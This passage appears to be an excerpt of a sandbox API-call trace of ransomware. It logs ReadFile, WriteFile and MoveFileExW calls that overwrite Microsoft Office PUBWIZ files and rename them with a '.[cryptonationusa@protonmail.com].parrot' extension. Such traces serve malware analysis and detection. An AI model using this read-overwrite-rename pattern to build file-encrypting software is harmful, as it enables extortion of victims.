lpOverlapped=0x0) returned 1 [0209.550] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.550] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0209.617] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.617] WriteFile (in: hFile=0x284, lpBuffer=0x22fa088*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22fa088*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0209.621] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.621] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0209.624] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dc438, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0209.624] CloseHandle (hObject=0x284) returned 1 [0209.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0209.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5166c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5166c, lpOverlapped=0x0) returned 1 [0209.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWSHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\newshm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWSHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\newshm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0209.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.679] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.681] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x82e, lpOverlapped=0x0) returned 1 [0209.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ORIG98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\orig98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ORIG98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\orig98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.685] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.685] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.685] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0209.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.689] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.691] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.691] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4eba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4eba, lpOverlapped=0x0) returned 1 [0209.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICCAP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\piccap98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICCAP98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\piccap98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0209.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.702] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.703] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.704] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eac0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1eac0, lpOverlapped=0x0) returned 1 [0209.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICSTYLES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\picstyles.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICSTYLES.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\picstyles.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x328d008 | out: hHeap=0x5b0000) returned 1 [0209.715] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.715] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.717] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x334, lpOverlapped=0x0) returned 1 [0209.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICTPH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pictph.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PICTPH.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pictph.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0209.722] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.722] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.724] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1722, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1722, lpOverlapped=0x0) returned 1 [0209.724] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PNCTUATE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pnctuate.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PNCTUATE.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pnctuate.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.727] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0209.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.732] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.734] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb9b0, lpOverlapped=0x0) returned 1 [0209.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POST98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\post98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POST98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\post98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0209.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.745] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.746] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.746] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa194b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa194b, lpOverlapped=0x0) returned 1 [0209.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.839] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0209.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.844] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.960] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.960] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a98, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a98, lpOverlapped=0x0) returned 1 [0209.967] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0209.978] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.978] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0209.979] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.980] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2407a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2407a, lpOverlapped=0x0) returned 1 [0209.985] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0209.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0209.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0209.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x328d008 | out: hHeap=0x5b0000) returned 1 [0209.995] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.995] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.034] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.034] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa84e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa84e8, lpOverlapped=0x0) returned 1 [0210.056] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCD98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcd98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0210.094] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.094] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.095] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.096] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaf86, lpOverlapped=0x0) returned 1 [0210.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0210.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.097] GetLastError () returned 0x0 [0210.102] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.102] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: 